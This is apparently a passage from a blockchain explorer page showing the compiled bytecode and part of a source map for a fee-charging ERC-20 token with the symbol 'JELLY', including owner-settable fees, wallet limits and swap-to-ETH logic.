01600160a01b038681169116145b8015611022575060095460075410155b801561102b5750805b9695505050505050565b6008805460ff19166001908117909155600e54600d54600c5460009361106f936002936106ab939192611069928391610f78565b90610f78565b9050600061108c82610641600c5486610f6090919063ffffffff16565b9050600061109a84836109e1565b9050476110a6826112e2565b60006110b247836109e1565b905060006110d56110ce600c54886109e190919063ffffffff16565b8390610f6c565b905060006110ee600c5483610f6090919063ffffffff16565b90508015611100576111008682611461565b600d54600090611115906106ab856002610f60565b90508015611159576011546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611157573d6000803e3d6000fd5b505b47801561119c576010546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561119a573d6000803e3d6000fd5b505b50506008805460ff191690555050505050505050565b6001600160a01b03821660009081526003602052604081205460ff16156111dc5750601354610542565b60006111e88585611521565b11156112db57600061120b6111fd8686611521565b6019546106ab908690610f6c565b306000908152600160205260409020549091506112289082610f78565b30600081815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112799085815260200190565b60405180910390a36000600f5411801561129d5750600f5461129b8686611521565b115b156112c9576112c93061dead6112c4600f546106ab60195489610f6c90919063ffffffff16565b6109ed565b6112d383826109e1565b915050610542565b5092915050565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611317576113176117a2565b60200260200101906001600160a01b031690816001600160a01b031681525050600560029054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561138a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113ae91906117b8565b816001815181106113c1576113c16117a2565b6001600160a01b0392831660209182029290920101526005546113ed91309162010000900416846108bd565b60055460405163791ac94760e01b8152620100009091046001600160a01b03169063791ac9479061142b9085906000908690309042906004016117d5565b600060405180830381600087803b15801561144557600080fd5b505af1158015611459573d6000803e3d6000fd5b505050505050565b60055461147f9030906201000090046001600160a01b0316846108bd565b60055460125460405163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b0391821660848201524260a482015262010000909204169063f305d71990839060c40160606040518083038185885af11580156114f5573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061151a9190611846565b5050505050565b6006546000906001600160a01b03908116908316036115435750601754610468565b6006546001600160a01b03908116908416036115625750601654610468565b5060185492915050565b600060208083528351808285015260005b818110156115995785810183015185820160400152820161157d565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146115cf57600080fd5b50565b600080604083850312156115e557600080fd5b82356115f0816115ba565b946020939093013593505050565b60008060006060848603121561161357600080fd5b833561161e816115ba565b9250602084013561162e816115ba565b929592945050506040919091013590565b60006020828403121561165157600080fd5b8135610542816115ba565b60008060006060848603121561167157600080fd5b505081359360208301359350604090920135919050565b600080600080600080600060e0888a0312156116a357600080fd5b505085359760208701359750604087013596606081013596506080810135955060a0810135945060c0013592509050565b600080604083850312156116e757600080fd5b82356116f2816115ba565b91506020830135611702816115ba565b809150509250929050565b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b600052601160045260246000fd5b818103818111156104685761046861172d565b808201808211156104685761046861172d565b80820281158282048414176104685761046861172d565b60008261179d57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156117ca57600080fd5b8151610542816115ba565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118255784516001600160a01b031683529383019391830191600101611800565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561185b57600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220fa42849b6386d34c98b4d131529cd2675ced3a3bfec02dc15bb73cb95d36335564736f6c63430008130033

Deployed Bytecode

0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063a9059cbb1161006f578063a9059cbb1461036b578063cb7f97d71461038b578063dd62ed3e146103ab578063e161bd1e146103f1578063f2fde38b14610407578063fcc78ef11461042757600080fd5b8063715018a6146102b6578063893d20e8146102cb57806395d89b41146102fd5780639cc353511461032b578063a8aa1b311461034b57600080fd5b8063293230b8116100f2578063293230b8146102085780632f54bf6e1461021f578063313ce5671461024e57806357b074e11461026a57806370a082311461028057600080fd5b806305a1d4351461013a57806306fdde0314610163578063095ea7b3146101a357806318160ddd146101d357806323b872dd146101e857600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061015060145481565b6040519081526020015b60405180910390f35b34801561016f57600080fd5b5060408051808201909152600e81526d12995b1b1e48141c9bdd1bd8dbdb60921b60208201525b60405161015a919061156c565b3480156101af57600080fd5b506101c36101be3660046115d2565b610457565b604051901515815260200161015a565b3480156101df57600080fd5b5061015061046e565b3480156101f457600080fd5b506101c36102033660046115fe565b6104df565b34801561021457600080fd5b5061021d610549565b005b34801561022b57600080fd5b506101c361023a36600461163f565b6000546001600160a01b0391821691161490565b34801561025a57600080fd5b506040516009815260200161015a565b34801561027657600080fd5b5061015060135481565b34801561028c57600080fd5b5061015061029b36600461163f565b6001600160a01b031660009081526001602052604090205490565b3480156102c257600080fd5b5061021d61058b565b3480156102d757600080fd5b506000546001600160a01b03165b6040516001600160a01b03909116815260200161015a565b34801561030957600080fd5b506040805180820190915260058152644a454c4c5960d81b6020820152610196565b34801561033757600080fd5b5061021d61034636600461165c565b6105fa565b34801561035757600080fd5b506006546102e5906001600160a01b031681565b34801561037757600080fd5b506101c36103863660046115d2565b61073b565b34801561039757600080fd5b5061021d6103a6366004611688565b610748565b3480156103b757600080fd5b506101506103c63660046116d4565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156103fd57600080fd5b5061015060155481565b34801561041357600080fd5b5061021d61042236600461163f565b61083f565b34801561043357600080fd5b506101c361044236600461163f565b60036020526000908152604090205460ff1681565b60006104643384846108bd565b5060015b92915050565b60016020527fa6eef7e35abe7026729641147f7915573c7e97b47efa546f5f6e3230263bcb495461dead60009081527fb34209a263f6c38fe55f099e9e70f9d67e93982480ff3234a5e0108028ad164d5460045491926104da9290916104d491906109e1565b906109e1565b905090565b60006104ec8484846109ed565b61053e843361053985604051806060016040528060288152602001611875602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610f34565b6108bd565b5060015b9392505050565b6000546001600160a01b0316331461057c5760405162461bcd60e51b81526004016105739061170d565b60405180910390fd5b6005805460ff19166001179055565b6000546001600160a01b031633146105b55760405162461bcd60e51b81526004016105739061170d565b600080546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b6000546001600160a01b031633146106245760405162461bcd60e51b81526004016105739061170d565b600061064761271061064186600454610f6090919063ffffffff16565b90610f6c565b9050600061066661271061064186600454610f6090919063ffffffff16565b9050600061068561271061064186600454610f6090919063ffffffff16565b601384905560148390556015819055905060006106b16103e861064160056106ab61046e565b90610f60565b90508084101580156106c35750808310155b80156106cf5750808210155b6107325760405162461bcd60e51b815260206004820152602e60248201527f4d61782054587320616e64204d61782057616c6c65742063616e6e6f7420626560448201526d206c657373207468616e202e352560901b6064820152608401610573565b50505050505050565b60006104643384846109ed565b6000546001600160a01b031633146107725760405162461bcd60e51b81526004016105739061170d565b600c879055600d869055600f859055600e8490556016839055601782905560188190556019546107a3906001610f6c565b601654111580156107c357506019546107bd906001610f6c565b60175411155b80156107de57506019546107d8906001610f6c565b60185411155b6107325760405162461bcd60e51b815260206004820152602c60248201527f746f74616c46656520616e642073656c6c4665652063616e6e6f74206265206d60448201526b6f7265207468616e2032302560a01b6064820152608401610573565b6000546001600160a01b031633146108695760405162461bcd60e51b81526004016105739061170d565b600080546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b03831661091f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610573565b6001600160a01b0382166109805760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610573565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006105428284611743565b6001600160a01b038316610a515760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610573565b6001600160a01b038216610ab35760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610573565b6001600160a01b038316600090815260016020526040902054811115610b355760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b6064820152608401610573565b6001600160a01b03831660009081526003602052604090205460ff16158015610b7757506001600160a01b03821660009081526003602052604090205460ff16155b15610bbb5760055460ff16610bbb5760405162461bcd60e51b815260206004820152600a602482015269189d5e595b98589b195960b21b6044820152606401610573565b6001600160a01b03831660009081526003602052604090205460ff16158015610bfd57506001600160a01b03821660009081526003602052604090205460ff16155b8015610c1757506006546001600160a01b03838116911614155b8015610c2e57506001600160a01b03821661dead14155b15610ca7576015546001600160a01b038316600090815260016020526040902054610c599083610f78565b1115610ca75760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e00006044820152606401610573565b6006546001600160a01b03848116911614610d485760145481111580610ce557506001600160a01b03831660009081526003602052604090205460ff165b80610d0857506001600160a01b03821660009081526003602052604090205460ff165b610d485760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b6044820152606401610573565b60135481111580610d7157506001600160a01b03831660009081526003602052604090205460ff165b80610d9457506001600160a01b03821660009081526003602052604090205460ff165b610dd45760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b6044820152606401610573565b6006546001600160a01b038381169116148015610e0a57506001600160a01b03831660009081526003602052604090205460ff16155b15610e2857600160076000828254610e229190611756565b90915550505b610e33838383610f84565b15610e4957610e43600a54611035565b60006007555b6001600160a01b038316600090815260016020526040902054610e6c90826109e1565b6001600160a01b038416600090815260016020908152604080832093909355600390529081205460ff1615610ea15781610eac565b610eac8484846111b2565b6001600160a01b038416600090815260016020526040902054909150610ed29082610f78565b6001600160a01b0380851660008181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f269085815260200190565b60405180910390a350505050565b60008184841115610f585760405162461bcd60e51b8152600401610573919061156c565b505050900390565b60006105428284611769565b60006105428284611780565b60006105428284611756565b600b54600a543060009081526001602052604081205460085491938510159211159060ff16158015610fbd5750600554610100900460ff165b8015610fcb575060055460ff165b8015610fd45750815b8015610ff957506001600160a01b03861660009081526003602052604090205460ff16155b801561101257506006546001600160a01b038681169116145b8015611022575060095460075410155b801561102b5750805b9695505050505050565b6008805460ff19166001908117909155600e54600d54600c5460009361106f936002936106ab939192611069928391610f78565b90610f78565b9050600061108c82610641600c5486610f6090919063ffffffff16565b9050600061109a84836109e1565b9050476110a6826112e2565b60006110b247836109e1565b905060006110d56110ce600c54886109e190919063ffffffff16565b8390610f6c565b905060006110ee600c5483610f6090919063ffffffff16565b90508015611100576111008682611461565b600d54600090611115906106ab856002610f60565b90508015611159576011546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611157573d6000803e3d6000fd5b505b47801561119c576010546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561119a573d6000803e3d6000fd5b505b50506008805460ff191690555050505050505050565b6001600160a01b03821660009081526003602052604081205460ff16156111dc5750601354610542565b60006111e88585611521565b11156112db57600061120b6111fd8686611521565b6019546106ab908690610f6c565b306000908152600160205260409020549091506112289082610f78565b30600081815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112799085815260200190565b60405180910390a36000600f5411801561129d5750600f5461129b8686611521565b115b156112c9576112c93061dead6112c4600f546106ab60195489610f6c90919063ffffffff16565b6109ed565b6112d383826109e1565b915050610542565b5092915050565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611317576113176117a2565b60200260200101906001600160a01b031690816001600160a01b031681525050600560029054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561138a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113ae91906117b8565b816001815181106113c1576113c16117a2565b6001600160a01b0392831660209182029290920101526005546113ed91309162010000900416846108bd565b60055460405163791ac94760e01b8152620100009091046001600160a01b03169063791ac9479061142b9085906000908690309042906004016117d5565b600060405180830381600087803b15801561144557600080fd5b505af1158015611459573d6000803e3d6000fd5b505050505050565b60055461147f9030906201000090046001600160a01b0316846108bd565b60055460125460405163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b0391821660848201524260a482015262010000909204169063f305d71990839060c40160606040518083038185885af11580156114f5573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061151a9190611846565b5050505050565b6006546000906001600160a01b03908116908316036115435750601754610468565b6006546001600160a01b03908116908416036115625750601654610468565b5060185492915050565b600060208083528351808285015260005b818110156115995785810183015185820160400152820161157d565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146115cf57600080fd5b50565b600080604083850312156115e557600080fd5b82356115f0816115ba565b946020939093013593505050565b60008060006060848603121561161357600080fd5b833561161e816115ba565b9250602084013561162e816115ba565b929592945050506040919091013590565b60006020828403121561165157600080fd5b8135610542816115ba565b60008060006060848603121561167157600080fd5b505081359360208301359350604090920135919050565b600080600080600080600060e0888a0312156116a357600080fd5b505085359760208701359750604087013596606081013596506080810135955060a0810135945060c0013592509050565b600080604083850312156116e757600080fd5b82356116f2816115ba565b91506020830135611702816115ba565b809150509250929050565b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b600052601160045260246000fd5b818103818111156104685761046861172d565b808201808211156104685761046861172d565b80820281158282048414176104685761046861172d565b60008261179d57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156117ca57600080fd5b8151610542816115ba565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118255784516001600160a01b031683529383019391830191600101611800565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561185b57600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220fa42849b6386d34c98b4d131529cd2675ced3a3bfec02dc15bb73cb95d36335564736f6c63430008130033

Deployed Bytecode Sourcemap

3828:9581:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5264:55;;;;;;;;;;;;;;;;;;;160:25:1;;;148:2;133:18;5264:55:0;;;;;;;;6124:67;;;;;;;;;;-1:-1:-1;6184:5:0;;;;;;;;;;;;-1:-1:-1;;;6184:5:0;;;;6124:67;;;;;;;:::i;6930:133::-;;;;;;;;;;-1:-1:-1;6930:133:0;;;;;:::i;:::-;;:::i;:::-;;;1370:14:1;;1363:22;1345:41;;1333:2;1318:18;6930:133:0;1205:187:1;7298:132:0;;;;;;;;;;;;;:::i;9323:309::-;;;;;;;;;;-1:-1:-1;9323:309:0;;;;;:::i;:::-;;:::i;7436:63::-;;;;;;;;;;;;;:::i;:::-;;2840:87;;;;;;;;;;-1:-1:-1;2840:87:0;;;;;:::i;:::-;2895:4;2920:5;-1:-1:-1;;;;;2909:16:0;;;2920:5;;2909:16;;2840:87;6274:67;;;;;;;;;;-1:-1:-1;6274:67:0;;4227:1;2252:36:1;;2240:2;2225:18;6274:67:0;2110:184:1;5202:55:0;;;;;;;;;;;;;;;;6347:103;;;;;;;;;;-1:-1:-1;6347:103:0;;;;;:::i;:::-;-1:-1:-1;;;;;6430:18:0;6413:7;6430:18;;;:9;:18;;;;;;;6347:103;3050:106;;;;;;;;;;;;;:::i;7069:78::-;;;;;;;;;;-1:-1:-1;7121:7:0;7139:5;-1:-1:-1;;;;;7139:5:0;7069:78;;;-1:-1:-1;;;;;2463:32:1;;;2445:51;;2433:2;2418:18;7069:78:0;2299:203:1;6197:71:0;;;;;;;;;;-1:-1:-1;6259:7:0;;;;;;;;;;;;-1:-1:-1;;;6259:7:0;;;;6197:71;;11047:534;;;;;;;;;;-1:-1:-1;11047:534:0;;;;;:::i;:::-;;:::i;4400:19::-;;;;;;;;;;-1:-1:-1;4400:19:0;;;;-1:-1:-1;;;;;4400:19:0;;;7153:139;;;;;;;;;;-1:-1:-1;7153:139:0;;;;;:::i;:::-;;:::i;8569:524::-;;;;;;;;;;-1:-1:-1;8569:524:0;;;;;:::i;:::-;;:::i;6456:127::-;;;;;;;;;;-1:-1:-1;6456:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;6554:18:0;;;6537:7;6554:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6456:127;5326:53;;;;;;;;;;;;;;;;2933:111;;;;;;;;;;-1:-1:-1;2933:111:0;;;;;:::i;:::-;;:::i;4140:45::-;;;;;;;;;;-1:-1:-1;4140:45:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;6930:133;7005:4;7012:37;7021:10;7033:7;7042:6;7012:8;:37::i;:::-;-1:-1:-1;7057:4:0;6930:133;;;;;:::o;7298:132::-;6430:9;:18;;;;4916:42;7351:7;6430:18;;;;;7368:12;;7351:7;;7368:60;;6430:18;;7368:33;;:12;:16;:33::i;:::-;:37;;:60::i;:::-;7361:67;;7298:132;:::o;9323:309::-;9421:4;9438:36;9448:6;9456:9;9467:6;9438:9;:36::i;:::-;9485:117;9494:6;9502:10;9514:87;9550:6;9514:87;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;9514:19:0;;;;;;:11;:19;;;;;;;;9534:10;9514:31;;;;;;;;;:87;:35;:87::i;:::-;9485:8;:117::i;:::-;-1:-1:-1;9620:4:0;9323:309;;;;;;:::o;7436:63::-;2895:4;2920:5;-1:-1:-1;;;;;2920:5:0;2807:10;2909:16;2791:38;;;;-1:-1:-1;;;2791:38:0;;;;;;;:::i;:::-;;;;;;;;;7480:10:::1;:17:::0;;-1:-1:-1;;7480:17:0::1;7493:4;7480:17;::::0;;7436:63::o;3050:106::-;2895:4;2920:5;-1:-1:-1;;;;;2920:5:0;2807:10;2909:16;2791:38;;;;-1:-1:-1;;;2791:38:0;;;;;;;:::i;:::-;3113:1:::1;3097:18:::0;;-1:-1:-1;;;;;;3097:18:0::1;::::0;;3122:32:::1;::::0;2445:51:1;;;3122:32:0::1;::::0;2433:2:1;2418:18;3122:32:0::1;;;;;;;3050:106::o:0;11047:534::-;2895:4;2920:5;-1:-1:-1;;;;;2920:5:0;2807:10;2909:16;2791:38;;;;-1:-1:-1;;;2791:38:0;;;;;;;:::i;:::-;11153:13:::1;11169:33;11196:5;11169:22;11186:4;11169:12;;:16;;:22;;;;:::i;:::-;:26:::0;::::1;:33::i;:::-;11153:49;;11204:19;11226:34;11254:5;11226:23;11243:5;11226:12;;:16;;:23;;;;:::i;:34::-;11204:56;;11262:17;11282:36;11312:5;11282:25;11299:7;11282:12;;:16;;:25;;;;:::i;:36::-;11329:7;:15:::0;;;11346:7:::1;:21:::0;;;11369:5:::1;:17:::0;;;11262:56;-1:-1:-1;;11413:30:0::1;11438:4;11413:20;11431:1;11413:13;:11;:13::i;:::-;:17:::0;::::1;:20::i;:30::-;11397:46;;11471:5;11462;:14;;:38;;;;;11495:5;11480:11;:20;;11462:38;:60;;;;;11517:5;11504:9;:18;;11462:60;11454:119;;;::::0;-1:-1:-1;;;11454:119:0;;4614:2:1;11454:119:0::1;::::0;::::1;4596:21:1::0;4653:2;4633:18;;;4626:30;4692:34;4672:18;;;4665:62;-1:-1:-1;;;4743:18:1;;;4736:44;4797:19;;11454:119:0::1;4412:410:1::0;11454:119:0::1;11142:439;;;;11047:534:::0;;;:::o;7153:139::-;7231:4;7238:40;7248:10;7260:9;7271:6;7238:9;:40::i;8569:524::-;2895:4;2920:5;-1:-1:-1;;;;;2920:5:0;2807:10;2909:16;2791:38;;;;-1:-1:-1;;;2791:38:0;;;;;;;:::i;:::-;8759:12:::1;:25:::0;;;8786:12:::1;:25:::0;;;8813:7:::1;:15:::0;;;8830:14:::1;:29:::0;;;8861:8:::1;:17:::0;;;8880:7:::1;:15:::0;;;8897:11:::1;:20:::0;;;8948:11:::1;::::0;:18:::1;::::0;-1:-1:-1;8948:15:0::1;:18::i;:::-;8936:8;;:30;;:63;;;;-1:-1:-1::0;8981:11:0::1;::::0;:18:::1;::::0;8997:1:::1;8981:15;:18::i;:::-;8970:7;;:29;;8936:63;:100;;;;-1:-1:-1::0;9018:11:0::1;::::0;:18:::1;::::0;9034:1:::1;9018:15;:18::i;:::-;9003:11;;:33;;8936:100;8928:157;;;::::0;-1:-1:-1;;;8928:157:0;;5029:2:1;8928:157:0::1;::::0;::::1;5011:21:1::0;5068:2;5048:18;;;5041:30;5107:34;5087:18;;;5080:62;-1:-1:-1;;;5158:18:1;;;5151:42;5210:19;;8928:157:0::1;4827:408:1::0;2933:111:0;2895:4;2920:5;-1:-1:-1;;;;;2920:5:0;2807:10;2909:16;2791:38;;;;-1:-1:-1;;;2791:38:0;;;;;;;:::i;:::-;2999:5:::1;:11:::0;;-1:-1:-1;;;;;;2999:11:0::1;-1:-1:-1::0;;;;;2999:11:0;::::1;::::0;;::::1;::::0;;;3017:25:::1;::::0;2445:51:1;;;3017:25:0::1;::::0;2433:2:1;2418:18;3017:25:0::1;;;;;;;2933:111:::0;:::o;6589:335::-;-1:-1:-1;;;;;6682:19:0;;6674:68;;;;-1:-1:-1;;;6674:68:0;;5658:2:1;6674:68:0;;;5640:21:1;5697:2;5677:18;;;5670:30;5736:34;5716:18;;;5709:62;-1:-1:-1;;;5787:18:1;;;5780:34;5831:19;;6674:68:0;5456:400:1;6674:68:0;-1:-1:-1;;;;;6761:21:0;;6753:68;;;;-1:-1:-1;;;6753:68:0;;6063:2:1;6753:68:0;;;6045:21:1;6102:2;6082:18;;;6075:30;6141:34;6121:18;;;6114:62;-1:-1:-1;;;6192:18:1;;;6185:32;6234:19;;6753:68:0;5861:398:1;6753:68:0;-1:-1:-1;;;;;6832:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;6884:32;;160:25:1;;;6884:32:0;;133:18:1;6884:32:0;;;;;;;6589:335;;;:::o;479:98::-;537:7;564:5;568:1;564;:5;:::i;9638:1403::-;-1:-1:-1;;;;;9735:20:0;;9727:70;;;;-1:-1:-1;;;9727:70:0;;6731:2:1;9727:70:0;;;6713:21:1;6770:2;6750:18;;;6743:30;6809:34;6789:18;;;6782:62;-1:-1:-1;;;6860:18:1;;;6853:35;6905:19;;9727:70:0;6529:401:1;9727:70:0;-1:-1:-1;;;;;9816:23:0;;9808:71;;;;-1:-1:-1;;;9808:71:0;;7137:2:1;9808:71:0;;;7119:21:1;7176:2;7156:18;;;7149:30;7215:34;7195:18;;;7188:62;-1:-1:-1;;;7266:18:1;;;7259:33;7309:19;;9808:71:0;6935:399:1;9808:71:0;-1:-1:-1;;;;;6430:18:0;;6413:7;6430:18;;;:9;:18;;;;;;9898:6;:27;;9890:88;;;;-1:-1:-1;;;9890:88:0;;7541:2:1;9890:88:0;;;7523:21:1;7580:2;7560:18;;;7553:30;7619:34;7599:18;;;7592:62;-1:-1:-1;;;7670:18:1;;;7663:47;7727:19;;9890:88:0;7339:413:1;9890:88:0;-1:-1:-1;;;;;9993:20:0;;;;;;:12;:20;;;;;;;;9992:21;:49;;;;-1:-1:-1;;;;;;10018:23:0;;;;;;:12;:23;;;;;;;;10017:24;9992:49;9989:89;;;10051:10;;;;10043:33;;;;-1:-1:-1;;;10043:33:0;;7959:2:1;10043:33:0;;;7941:21:1;7998:2;7978:18;;;7971:30;-1:-1:-1;;;8017:18:1;;;8010:40;8067:18;;10043:33:0;7757:334:1;10043:33:0;-1:-1:-1;;;;;10092:20:0;;;;;;:12;:20;;;;;;;;10091:21;:49;;;;-1:-1:-1;;;;;;10117:23:0;;;;;;:12;:23;;;;;;;;10116:24;10091:49;:79;;;;-1:-1:-1;10165:4:0;;-1:-1:-1;;;;;10144:26:0;;;10165:4;;10144:26;;10091:79;:109;;;;-1:-1:-1;;;;;;10174:26:0;;4916:42;10174:26;;10091:109;10088:212;;;10258:5;;-1:-1:-1;;;;;10221:20:0;;;;;;:9;:20;;;;;;:32;;10246:6;10221:24;:32::i;:::-;10220:43;;10212:86;;;;-1:-1:-1;;;10212:86:0;;8298:2:1;10212:86:0;;;8280:21:1;8337:2;8317:18;;;8310:30;8376:32;8356:18;;;8349:60;8426:18;;10212:86:0;8096:354:1;10212:86:0;10323:4;;-1:-1:-1;;;;;10313:14:0;;;10323:4;;10313:14;10310:119;;10347:7;;10337:6;:17;;:41;;;-1:-1:-1;;;;;;10358:20:0;;;;;;:12;:20;;;;;;;;10337:41;:68;;;-1:-1:-1;;;;;;10382:23:0;;;;;;:12;:23;;;;;;;;10337:68;10329:98;;;;-1:-1:-1;;;10329:98:0;;8657:2:1;10329:98:0;;;8639:21:1;8696:2;8676:18;;;8669:30;-1:-1:-1;;;8715:18:1;;;8708:47;8772:18;;10329:98:0;8455:341:1;10329:98:0;10457:7;;10447:6;:17;;:41;;;-1:-1:-1;;;;;;10468:20:0;;;;;;:12;:20;;;;;;;;10447:41;:68;;;-1:-1:-1;;;;;;10492:23:0;;;;;;:12;:23;;;;;;;;10447:68;10439:98;;;;-1:-1:-1;;;10439:98:0;;8657:2:1;10439:98:0;;;8639:21:1;8696:2;8676:18;;;8669:30;-1:-1:-1;;;8715:18:1;;;8708:47;8772:18;;10439:98:0;8455:341:1;10439:98:0;10565:4;;-1:-1:-1;;;;;10552:17:0;;;10565:4;;10552:17;:42;;;;-1:-1:-1;;;;;;10574:20:0;;;;;;:12;:20;;;;;;;;10573:21;10552:42;10549:74;;;10619:1;10596:11;;:25;;;;;;;:::i;:::-;;;;-1:-1:-1;;10549:74:0;10636:40;10650:6;10658:9;10669:6;10636:13;:40::i;:::-;10633:101;;;10678:28;10689:16;;10678:10;:28::i;:::-;10730:1;10708:11;:24;10633:101;-1:-1:-1;;;;;10764:17:0;;;;;;:9;:17;;;;;;:29;;10786:6;10764:21;:29::i;:::-;-1:-1:-1;;;;;10744:17:0;;;;;;:9;:17;;;;;;;;:49;;;;10830:12;:20;;;;;;;;10829:21;:71;;10894:6;10829:71;;;10853:38;10865:6;10873:9;10884:6;10853:11;:38::i;:::-;-1:-1:-1;;;;;10934:20:0;;;;;;:9;:20;;;;;;10804:96;;-1:-1:-1;10934:40:0;;10804:96;10934:24;:40::i;:::-;-1:-1:-1;;;;;10911:20:0;;;;;;;:9;:20;;;;;;;:63;;;;10990:43;;;;;;;;;;11018:14;160:25:1;;148:2;133:18;;14:177;10990:43:0;;;;;;;;9716:1325;9638:1403;;;:::o;895:240::-;1015:7;1076:12;1068:6;;;;1060:29;;;;-1:-1:-1;;;1060:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;1111:5:0;;;895:240::o;583:98::-;641:7;668:5;672:1;668;:5;:::i;687:98::-;745:7;772:5;776:1;772;:5;:::i;375:98::-;433:7;460:5;464:1;460;:5;:::i;8158:405::-;8298:14;;8373:16;;8363:4;8255;6430:18;;;:9;:18;;;;;;8408:8;;8255:4;;8288:24;;;;-1:-1:-1;8345:44:0;;8408:8;;8407:9;:24;;;;-1:-1:-1;8420:11:0;;;;;;;8407:24;:38;;;;-1:-1:-1;8435:10:0;;;;8407:38;:50;;;;;8449:8;8407:50;:75;;;;-1:-1:-1;;;;;;8462:20:0;;;;;;:12;:20;;;;;;;;8461:21;8407:75;:96;;;;-1:-1:-1;8499:4:0;;-1:-1:-1;;;;;8486:17:0;;;8499:4;;8486:17;8407:96;:130;;;;;8522:15;;8507:11;;:30;;8407:130;:148;;;;;8541:14;8407:148;8400:155;8158:405;-1:-1:-1;;;;;;8158:405:0:o;12363:1043::-;4684:8;:15;;-1:-1:-1;;4684:15:0;4695:4;4684:15;;;;;;12496:14:::1;::::0;12478:12:::1;::::0;12454::::1;::::0;4684:8;;12453:66:::1;::::0;12517:1:::1;::::0;12454:57:::1;::::0;12496:14;;12454:37:::1;::::0;;;:16:::1;:19::i;:::-;:23:::0;::::1;:37::i;12453:66::-;12430:89;;12530:32;12565:42;12594:12;12565:24;12576:12;;12565:6;:10;;:24;;;;:::i;:42::-;12530:77:::0;-1:-1:-1;12618:14:0::1;12635:36;:6:::0;12530:77;12635:10:::1;:36::i;:::-;12618:53:::0;-1:-1:-1;12707:21:0::1;12739:23;12618:53:::0;12739:15:::1;:23::i;:::-;12773:20;12796:41;:21;12822:14:::0;12796:25:::1;:41::i;:::-;12773:64;;12848:19;12869:48;12886:30;12903:12;;12886;:16;;:30;;;;:::i;:::-;12869:12:::0;;:16:::1;:48::i;:::-;12848:69;;12928:29;12960;12976:12;;12960:11;:15;;:29;;;;:::i;:::-;12928:61:::0;-1:-1:-1;13003:34:0;;13000:103:::1;;13039:61;13052:24;13078:21;13039:12;:61::i;:::-;13159:12;::::0;13113:20:::1;::::0;13136:36:::1;::::0;:18:::1;:11:::0;13152:1:::1;13136:15;:1